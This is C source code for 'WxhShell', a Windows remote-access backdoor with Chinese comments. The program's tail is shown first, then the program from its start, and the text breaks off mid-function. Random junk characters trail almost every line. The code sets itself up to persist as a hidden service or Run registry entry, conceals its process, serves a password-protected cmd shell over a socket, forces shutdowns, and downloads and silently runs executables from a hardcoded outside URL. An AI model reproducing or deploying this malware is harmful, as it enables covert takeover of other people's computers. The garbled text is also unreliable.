    break; ( L6`_)  
    } "&+0jfLY+  
  // 关机 7:j #1N[p  
  case 'd': { KnFbRhu[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X*yl% V  
    if(Boot(SHUTDOWN)) x+TNF>%' D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (_08?cN  
    else { t2SZ]|C  
    closesocket(wsh); HYH!;  
    ExitThread(0); /&dt!.WY^  
    } H5I#/j  
    break; vxt^rBA  
    } 1<p"z,c  
  // 获取shell QE}@|H9xs  
  case 's': { W[m_IY  
    CmdShell(wsh); rh l5r"%  
    closesocket(wsh); J@TM>R  
    ExitThread(0); rN~`4mZ  
    break; ~GeYB6F  
  } D/Wuan?yPN  
  // 退出 yW&i Uh=0  
  case 'x': { ?f`-&c;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @6!JW(,]\  
    CloseIt(wsh); >g2B5KY  
    break; ckk[n  
    } PS22$_}   
  // 离开 -CrZ'k;4  
  case 'q': { 8( D}y\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |Q;o538  
    closesocket(wsh); D=>^m=?0  
    WSACleanup(); l}2WW1b(  
    exit(1); {ybuHC  
    break; ftPw6  
        } M::iU_  
  } "/fs%F  
  } hI8C XG  
Q2NnpsA^6  
  // 提示信息 uLM_KZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QO.gt*"  
} (<Xdj^v  
  } '5U$`Xe1  
[BBKj)IK  
  return; ^BX@0"&-  
} yp^*TD/J  
ha=z<Q  
// shell模块句柄 A*~1Uz\t  
int CmdShell(SOCKET sock) bl?%:qb.V  
{ Wt fOE@h  
STARTUPINFO si; 77d`N  
ZeroMemory(&si,sizeof(si)); Ne7{{1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YnWl'{[ C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i t@}dZ  
PROCESS_INFORMATION ProcessInfo; nln6:^w  
char cmdline[]="cmd"; U]0)$OH5e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O)uM&B=  
  return 0; QCfpDE}  
} WnzPPh3PJ  
bV*zMoD#  
// 自身启动模式 78CJ  
int StartFromService(void) "q^'5p]  
{ dm=F:\C  
typedef struct dMmka  
{ 7&1~O#  
  DWORD ExitStatus; LIC~Kehi  
  DWORD PebBaseAddress; psX%.95Y  
  DWORD AffinityMask; P`dHR;Y0  
  DWORD BasePriority; ?s)sPM?  
  ULONG UniqueProcessId; uQ]]]Z(H'  
  ULONG InheritedFromUniqueProcessId; |zq!CLjD@  
}   PROCESS_BASIC_INFORMATION; .*~u  
+c8AbEewg  
PROCNTQSIP NtQueryInformationProcess; \41)0,sEy  
:LiDJF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vt=(2d5:p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >2CusT2  
eSX[J6  
  HANDLE             hProcess; 04PoBv~g  
  PROCESS_BASIC_INFORMATION pbi; 9jR[:[  
TDFO9%2c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H<Kkj  
  if(NULL == hInst ) return 0; XyM(@6,'  
|1+(Ny.%k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gJ5wAK+?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I\rZk9F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c Z6p^  
}d~wDg<#  
  if (!NtQueryInformationProcess) return 0; .D,?u"fk|  
HIX=MprL<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KT];SF ^Y  
  if(!hProcess) return 0; dmaqXsU8q  
?D(FNd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L+L"$  
7mn,{2  
  CloseHandle(hProcess); 974eY  
S@c\|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R] Disljq  
if(hProcess==NULL) return 0; tCbr<Ug  
0n*rs=\VG  
HMODULE hMod; ~)wwX:;B_  
char procName[255]; s`#ntset0  
unsigned long cbNeeded; r}R^<y@I  
mX@j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bk7^%O>  
G}P)vfcH  
  CloseHandle(hProcess); gHvW e  
Kd/[ Bs%  
if(strstr(procName,"services")) return 1; // 以服务启动 KP=D! l&q  
L2CW'Hd  
  return 0; // 注册表启动 5 6Sh  
} (Bt;DM#>  
YER:ICQ  
// 主模块 $/[Gys3"  
int StartWxhshell(LPSTR lpCmdLine) [|a( y6Q  
{ TRgY:R_  
  SOCKET wsl; ;'=VrE6  
BOOL val=TRUE; #"Eks79s  
  int port=0; #Rin*HL##  
  struct sockaddr_in door; 1Q&cVxA"\  
09  
  if(wscfg.ws_autoins) Install(); 4ef*9|^x#  
e1%rVQ(v  
port=atoi(lpCmdLine); =<[7J]%  
bbd0ocva  
if(port<=0) port=wscfg.ws_port; $zC6(C(l  
nU} ~I)@V  
  WSADATA data; h'B9|Cm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OlEpid'Z  
"?i>p z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _qY`KP "  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oy2(Ag\  
  door.sin_family = AF_INET; tCWJSi`IJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PSW #^o  
  door.sin_port = htons(port); 4dW3'"R"L  
_/|8%])  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R]CZw;zS_  
closesocket(wsl); r~)VGdB+  
return 1; *Jb_=j*)  
} \4OK!6LkI  
]KsGkAG  
  if(listen(wsl,2) == INVALID_SOCKET) { mYjf5  
closesocket(wsl); -"F0eV+y  
return 1; ewo*7j4*  
} -{!&/;Z  
  Wxhshell(wsl); BwJNi6,  
  WSACleanup(); HKpD 2M  
/ca(a\@R  
return 0; ?Rlgv5P!  
:OHSxb>[  
} !loO%3_)  
(Ar?QwP9>  
// 以NT服务方式启动 `Gf{z%/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e d_m +NM  
{ Y\.DQ  
DWORD   status = 0; =h(7rU"Yz  
  DWORD   specificError = 0xfffffff; h:f;mn?x  
<R>Q4&we(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Wt(Kd5k0'2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AQ-mE9>P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :#Ty^-"]1  
  serviceStatus.dwWin32ExitCode     = 0; Pow|:Lau!  
  serviceStatus.dwServiceSpecificExitCode = 0; [4Y[?)7  
  serviceStatus.dwCheckPoint       = 0; _ ~|Q4AJ  
  serviceStatus.dwWaitHint       = 0; EVG"._I@  
gTnS[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &uPDZ#C-  
  if (hServiceStatusHandle==0) return; }0Y`|H\v  
A$Wx#r7)  
status = GetLastError(); 691G15  
  if (status!=NO_ERROR) X\kjAMuW/*  
{ +Jdm #n?_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p(.N(c  
    serviceStatus.dwCheckPoint       = 0; zb>;?et;)  
    serviceStatus.dwWaitHint       = 0; )XpV u  
    serviceStatus.dwWin32ExitCode     = status; a/34WFC  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?;_H{/)m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rfX=*mjt  
    return; |e:rYLxm:  
  } @O'I)(To  
ZEqE$:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :b5XKv^  
  serviceStatus.dwCheckPoint       = 0; T RDxT  
  serviceStatus.dwWaitHint       = 0; l:)S 3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O~atNrHD  
} rEmwKZF'  
-n-Z/5~ X  
// 处理NT服务事件,比如:启动、停止 PGkCOmq   
VOID WINAPI NTServiceHandler(DWORD fdwControl) j-QGOuvW  
{ ZB$NVY  
switch(fdwControl) 9ZhDZ~)p,  
{ e:BDQU  
case SERVICE_CONTROL_STOP: I qx84  
  serviceStatus.dwWin32ExitCode = 0; 12-EDg/1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]=|P<F   
  serviceStatus.dwCheckPoint   = 0; *t]v}ZV*  
  serviceStatus.dwWaitHint     = 0; &*A:[b\  
  { me:iQ.g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R B%:h-t4  
  } p jd o|  
  return; n>S2}y  
case SERVICE_CONTROL_PAUSE:  pr/'J!{^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (7~%B"  
  break; 5x2L(l-2  
case SERVICE_CONTROL_CONTINUE: v1h.pbz`w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S}b~_}  
  break; Cx,-_  
case SERVICE_CONTROL_INTERROGATE: }2=hd..  
  break; 'B,KFA<  
}; KGD'mByt"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T0Q51Q  
} Hnd+l)ng  
) $J7sa  
// 标准应用程序主函数 D7gHE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `,P >mp)uU  
{ # M>wH`Q#  
DN<M?u]  
// 获取操作系统版本 r>O|L%xpv  
OsIsNt=GetOsVer(); bS%C?8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X.eB ;w/}  
]'g:B p  
  // 从命令行安装 kV+ R5R  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7"a4/e;^  
#D0 ~{H  
  // 下载执行文件 &(7$&Q  
if(wscfg.ws_downexe) { h$/JGm5uDb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a'A s  
  WinExec(wscfg.ws_filenam,SW_HIDE); c=aO5(i0  
} yV2e5/i  
A2 BRbwr>  
if(!OsIsNt) { g}Mi9Kp  
// 如果时win9x,隐藏进程并且设置为注册表启动 \4QH/e  
HideProc(); |]tZ hI"3<  
StartWxhshell(lpCmdLine); 5*1#jiq  
} GW8CaTf~  
else WUY,. 8  
  if(StartFromService()) QTE:K?  
  // 以服务方式启动 Z'ao[CG  
  StartServiceCtrlDispatcher(DispatchTable); `x2,;h!:)N  
else 6klD22b2$  
  // 普通方式启动 cd&B?\I  
  StartWxhshell(lpCmdLine); sUV>@UMnu  
AIv<f9*.:  
return 0; Gk 6fO  
} K:a3+k d  
])UwC-l  
b!,ja?  
dQK`sLChv  
=========================================== bQj`g2eyM  
}H2#H7!H  
wHWma)}-z  
)mG0g@qOK  
q<EEb  
<p/MyqZf  
" 8,y{q9O  
x G^f  
#include <stdio.h> xG w?'\  
#include <string.h> ZMJ3NN]F  
#include <windows.h> 4i`S+`#  
#include <winsock2.h> yf?W^{^|  
#include <winsvc.h> pl?kS8#U?  
#include <urlmon.h> Pt(tRHB  
]zcV]Qj$~  
#pragma comment (lib, "Ws2_32.lib") %Co b(C&}  
#pragma comment (lib, "urlmon.lib") w?S8@|MK  
s6/cL|Ex  
#define MAX_USER   100 // 最大客户端连接数 g&kH'fR8  
#define BUF_SOCK   200 // sock buffer &#-[Y:?lA  
#define KEY_BUFF   255 // 输入 buffer 3; A$<s  
p7$3`t 6u  
#define REBOOT     0   // 重启 Az9J\V~"  
#define SHUTDOWN   1   // 关机 gW}}5Xq  
W8VO)3nmD  
#define DEF_PORT   5000 // 监听端口 $ hoYkA  
U&X.  
#define REG_LEN     16   // 注册表键长度 cCk1'D|X[e  
#define SVC_LEN     80   // NT服务名长度 K#@K"N =  
77tZp @>hn  
// 从dll定义API A(NEWO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~T7\8K+ $  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4rm87/u*0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Txu>/1N,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?`"<DH~:0B  
dX 0x Kk%#  
// wxhshell配置信息  XtR`?  
struct WSCFG { B]i+,u  
  int ws_port;         // 监听端口 "~Us#4>  
  char ws_passstr[REG_LEN]; // 口令 il7 !}  
  int ws_autoins;       // 安装标记, 1=yes 0=no a0 qj[+  
  char ws_regname[REG_LEN]; // 注册表键名 ?o@E1:aA  
  char ws_svcname[REG_LEN]; // 服务名 TZkTz P[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .N&QW `  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $:P[v+Uy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Re{ej  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9z5z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bnIf}ut-G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >"i~ x  
N4tc V\O  
}; [&fWF~D-p<  
xR _DY'z  
// default Wxhshell configuration -)<JBs>  
struct WSCFG wscfg={DEF_PORT, N#mK7|\c?:  
    "xuhuanlingzhe", Gtf1}UJC  
    1, \A~4\um  
    "Wxhshell", XPrY`,kN  
    "Wxhshell", YK7gd|LR]  
            "WxhShell Service", r*xq(\v  
    "Wrsky Windows CmdShell Service", (Jm(}X]sh[  
    "Please Input Your Password: ", 3huzz<n3  
  1, *'s&/vEy  
  "http://www.wrsky.com/wxhshell.exe", x`wZtv\  
  "Wxhshell.exe" nvw NjN  
    }; <ihhV e  
P^i6MZ?   
// 消息定义模块  j@s=ER  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s#M? tyhj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }x>}:"P;W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }Z<D^Z~w  
char *msg_ws_ext="\n\rExit."; ':9%3Wq]j  
char *msg_ws_end="\n\rQuit."; \3,$YlG  
char *msg_ws_boot="\n\rReboot..."; &:IfhS  
char *msg_ws_poff="\n\rShutdown..."; b6 J2*;XG  
char *msg_ws_down="\n\rSave to "; HE8'N=0  
Z:W')Nd(  
char *msg_ws_err="\n\rErr!"; 3^uL`ETm@  
char *msg_ws_ok="\n\rOK!"; ]=O{7#  
P TfN+  
char ExeFile[MAX_PATH]; +y tT)S  
int nUser = 0; \k2C 5f  
HANDLE handles[MAX_USER]; ^' edE5  
int OsIsNt; n3-GnVC][  
LbLbJ{68  
SERVICE_STATUS       serviceStatus; 9u-M! $  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !xJLeQFJI]  
o+PQ;Dl  
// 函数声明  Ep#<$6>  
int Install(void); zM3H@;}m  
int Uninstall(void); 3(Hj7d7'}  
int DownloadFile(char *sURL, SOCKET wsh); "RR./e)h  
int Boot(int flag); n]kQtjJ  
void HideProc(void); y&KoL\  
int GetOsVer(void); o}j_eH l{  
int Wxhshell(SOCKET wsl); `"^@[1  
void TalkWithClient(void *cs); 59"Nn\}3gE  
int CmdShell(SOCKET sock); J7&.>y1%  
int StartFromService(void); f6(9wz$Trt  
int StartWxhshell(LPSTR lpCmdLine); ?trt4Tbe/  
J"a2 @S&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ys~p(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N'Z_6A*-  
&j wnM  
// 数据结构和表定义 .yHHogbt  
SERVICE_TABLE_ENTRY DispatchTable[] = gn4g 43  
{ qx#ghcU  
{wscfg.ws_svcname, NTServiceMain}, ]ZU:%Qhu  
{NULL, NULL} nFf\tf%8  
}; ux/[d6To  
M25z<Y  
// 自我安装 o+6^|RP  
int Install(void) eW }jS/g`  
{ \e5,`  
  char svExeFile[MAX_PATH]; 3ec==.  
  HKEY key; {) '" k6w  
  strcpy(svExeFile,ExeFile); ^QHMN 7r/  
[ XY:MU e  
// 如果是win9x系统,修改注册表设为自启动 !MG>z\:  
if(!OsIsNt) {  +lf@O&w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S|u1QGB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )MX1776kU  
  RegCloseKey(key); V=8{CmqT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -$!Pf$l@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QeOt; {_|  
  RegCloseKey(key); Ms$7E  
  return 0; 1PT_1[eAR  
    } ,a?\i JNb  
  } WTy8N  
} uvK%d\d  
else { YQ[&h  
JXa%TpI: E  
// 如果是NT以上系统,安装为系统服务 BOl$UJ|K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1wH/#K  
if (schSCManager!=0) bMK'J  
{ W2o8Fu   
  SC_HANDLE schService = CreateService J W yoh|  
  ( 9[]"%6  
  schSCManager, A"T. nqB^y  
  wscfg.ws_svcname, @OL3&R  
  wscfg.ws_svcdisp, pQm!Bt L  
  SERVICE_ALL_ACCESS, :Tl6:=B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AZ Lt'9UD  
  SERVICE_AUTO_START, 1X:whS5S  
  SERVICE_ERROR_NORMAL, 4sD:J-c  
  svExeFile, =rtA{g$)+  
  NULL, z(#hL-{c  
  NULL, "OAZ<  
  NULL, 8J(zWV7 r  
  NULL, |h~/Zz=  
  NULL Oj|p`Dzh  
  );  ,8 NEnB  
  if (schService!=0) (9q{J(44  
  { (w:ACJ[[  
  CloseServiceHandle(schService); 2B?i2[a,  
  CloseServiceHandle(schSCManager); JGNxJ S<]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C- Rie[  
  strcat(svExeFile,wscfg.ws_svcname); EYD{8Fw-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8}E(UsTa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JY8"TQ$x  
  RegCloseKey(key); s=@Ce V@4W  
  return 0; Y/I6.K3  
    } tNf" X !  
  } S7>gNE;%]u  
  CloseServiceHandle(schSCManager); J#Eh x|  
} !l~aRj-WZ  
} `-YSFQ~O,  
+rO<'H:umJ  
return 1; (eE}W~Z  
} ,ST.pu8N.  
]@}BdMlHp  
// 自我卸载 ? Z fhz   
int Uninstall(void) ffd 3QQ  
{ :%oj'm44!  
  HKEY key; ;<R_j%*  
~*]`XL.-  
if(!OsIsNt) { &/FwV'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {Y TF]J $  
  RegDeleteValue(key,wscfg.ws_regname); cyeDZ)  
  RegCloseKey(key); F@K;A%us)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]H7Mx\  
  RegDeleteValue(key,wscfg.ws_regname); YEoT_>A$dB  
  RegCloseKey(key); GlD'?Mk1  
  return 0; ?^ 5*[H  
  } l<%~w U  
} 7V``f:#d  
} fsuvg jlE  
else { g}KZL-p4\m  
eakIK+-21y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^i1:PlW]  
if (schSCManager!=0) oF^hq-xcP  
{ MCG~{#`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  kovzB]  
  if (schService!=0) Pk_{{Z(1o  
  { n9-[z2n  
  if(DeleteService(schService)!=0) { :[0 3upyS  
  CloseServiceHandle(schService); T bWZw  
  CloseServiceHandle(schSCManager); =upP3rw  
  return 0; _8`;Xgp  
  } AE _~DZ:%c  
  CloseServiceHandle(schService); >f8,YisH  
  } 1`\kXaG  
  CloseServiceHandle(schSCManager); r!iuwE@  
} S`KCVQ>V  
} nP31jm+A  
Q6>( Z  
return 1; OG`O i^2  
} Ij_`=w<  
D*,H%xA  
// 从指定url下载文件 iK:]Q8b  
int DownloadFile(char *sURL, SOCKET wsh) AFED YRX  
{  cf!R  
  HRESULT hr; it vdzPO  
char seps[]= "/"; [L^#<@S  
char *token; .5xg;Qg\Y  
char *file; V|7CYkB8  
char myURL[MAX_PATH]; UMaKvr-C&  
char myFILE[MAX_PATH]; N/VIP0Kb  
rgY~8PY"  
strcpy(myURL,sURL); JK`P mp>  
  token=strtok(myURL,seps); &@-glF5  
  while(token!=NULL) ]"6<"1)  
  { CG;D(AWR;  
    file=token; P0=F9`3wb  
  token=strtok(NULL,seps); (6{ VMQ  
  } i$bBN$<b<  
i\G3 u#  
GetCurrentDirectory(MAX_PATH,myFILE); u'p J 9>sC  
strcat(myFILE, "\\"); %?jf.p*kY  
strcat(myFILE, file); \2!$HA7P  
  send(wsh,myFILE,strlen(myFILE),0); }o4Cd$,8  
send(wsh,"...",3,0); $Vzfhj-if  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aJ5R0Y,  
  if(hr==S_OK) D~:fn|/Brp  
return 0; sh1()vT  
else .w~USJ=X  
return 1; 9':$!Eoq  
f]}F_]  
} *$!LRmp?  
?H&p zY~H  
// 系统电源模块 k s}o9[D3  
int Boot(int flag) RAC-;~$WB  
{ cx|j _5%i  
  HANDLE hToken; ]!N5jbA@  
  TOKEN_PRIVILEGES tkp; $((<le5-)  
"^H+A-R[  
  if(OsIsNt) { %0 4n,&mg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BlUY9`VWh@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,n*.Yq  
    tkp.PrivilegeCount = 1; |}; ~YMH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !NCT) #G`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (`xc3-,  
if(flag==REBOOT) { ]^y}}y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c.fj[U|j  
  return 0; NmQ]qv  
} AZa3!e/1  
else { s@$AYZm_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o;.-I[9h]  
  return 0; j*5VJ:  
} UTPl7po5D  
  } X'c5s~9  
  else { RA6D dqT~  
if(flag==REBOOT) { fp7Qb $-A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [Z 0 e$  
  return 0; ZZTV >:  
} -cKR15  
else { &eg,*K}'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aqB^  %e  
  return 0; t]x HM  
} 1jL?z6S  
} .#n?^73  
(\}IOCNS  
return 1; /Yh8r1^2tZ  
} &[YG\8sxWa  
u7mj  
// win9x进程隐藏模块 Pc3u`QL?  
void HideProc(void) Cn,jLy  
{ MiC&av  
z'fS%uI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `9ieTt  
  if ( hKernel != NULL ) 3t,SXI @  
  { SBEJ@&iB~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7@sWT<P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J.-#:OZ  
    FreeLibrary(hKernel); gor6c3i  
  } -l\@50, D  
/eI38>v  
return; j<!$ug9VA  
} Cxh9rUe.  
~ e"^-x  
// 获取操作系统版本 T>c;q%A/  
int GetOsVer(void) 5 `+*({  
{  u(BYRB  
  OSVERSIONINFO winfo; y>G{GQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {[$p}#7Y  
  GetVersionEx(&winfo); a%AU9?/q#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {>z.y1  
  return 1; ]8mBFr5E9  
  else p?}Rolk7  
  return 0; 3{%/1>+x5  
} +|}~6`  
EGs z{c[8@  
// 客户端句柄模块 i->sw#  
int Wxhshell(SOCKET wsl) cZwQ{9>  
{ ss[8d%V  
  SOCKET wsh; tHGK<rb  
  struct sockaddr_in client; y,%w`  
  DWORD myID; I*#~@:4*  
mV;7SBoT  
  while(nUser<MAX_USER) >uQ!B/C!  
{ #>233<  
  int nSize=sizeof(client); @}FRiPo6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5B51^"  
  if(wsh==INVALID_SOCKET) return 1; vj#gY2qZ  
v!x=fjr<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I($u L@$  
if(handles[nUser]==0) 7Fq|Zc`P  
  closesocket(wsh); {!-w|&bF  
else x$Lt?'  
  nUser++; {L8SD U{P  
  } rp _G.C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LIR2B"3F  
bT8BJY%+  
  return 0; J +9D/VT  
} s6qe5[  
NoPM!.RU{  
// 关闭 socket "r[Ea|  
void CloseIt(SOCKET wsh) UboOIx5:  
{ nrZv>r  
closesocket(wsh); Tp9LBF  
nUser--; !x,3k\M  
ExitThread(0); -5E<BmM  
} 6/GhQ/T%D  
Sm-nb*ZyC  
// 客户端请求句柄 jL 2f74?1  
void TalkWithClient(void *cs) ag] nVE/  
{ +[cm  
{B[i|(xQx  
  SOCKET wsh=(SOCKET)cs; <q_H 3|  
  char pwd[SVC_LEN]; -,Q<*)q{  
  char cmd[KEY_BUFF]; yLI=&7/e@  
char chr[1]; Ue8_Q8q5  
int i,j; &jj\-;=~Ho  
F`Pu$>8C  
  while (nUser < MAX_USER) { RRV&!<l@$  
dso\+s  
if(wscfg.ws_passstr) { 6_9w1 ,W E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PY`V]|J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |Q7Ch]G  
  //ZeroMemory(pwd,KEY_BUFF); o]jo R3  
      i=0; u_mm*o~)g  
  while(i<SVC_LEN) { ~r!jVK>^  
dkCSqNFL)  
  // 设置超时 >0512_J+  
  fd_set FdRead; 4$_8#w B1&  
  struct timeval TimeOut; jkfI,T  
  FD_ZERO(&FdRead); h7o{l7`)  
  FD_SET(wsh,&FdRead); Th"7p:SE?  
  TimeOut.tv_sec=8; pKp#4Js  
  TimeOut.tv_usec=0; !lHsJ)t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $'e.bh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VM-J^  
:Z&ipd!yY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h#;yA"j1&  
  pwd=chr[0]; sz}Nal$AC  
  if(chr[0]==0xd || chr[0]==0xa) { ` 3<#DZ;!  
  pwd=0; :?lSa6de  
  break; QAX+oy  
  } W&rjJZY6  
  i++; L9G=+T9  
    } ,$CZ (GQ  
fDqlN`P@  
  // 如果是非法用户,关闭 socket ,m0=zH4+:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =#1/<q)L  
} js2?t~E]  
 eYS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I |BLAm6j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =niU6Q}  
R|tjvp-[}  
while(1) { qf ]ax!bK  
*6k (xL  
  ZeroMemory(cmd,KEY_BUFF); A(<- U|  
b}[{'  
      // 自动支持客户端 telnet标准   .i`+}@iA  
  j=0; ]>x674H  
  while(j<KEY_BUFF) { @ /c{gD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8B\,*JGY2  
  cmd[j]=chr[0]; "%0RR?  
  if(chr[0]==0xa || chr[0]==0xd) { _"z#I CT(  
  cmd[j]=0; r?H {Y3 ,  
  break; W*VQ"CW{^]  
  } g,x$z~zU{  
  j++; ox)/*c<  
    } Xa%Z0% {  
qOkw6jfluh  
  // 下载文件 mVk:[ }l6  
  if(strstr(cmd,"http://")) { ?p\'S w:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;Q-sie(#  
  if(DownloadFile(cmd,wsh)) o$2fML  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >oLM2VJ  
  else .\< \J|3  
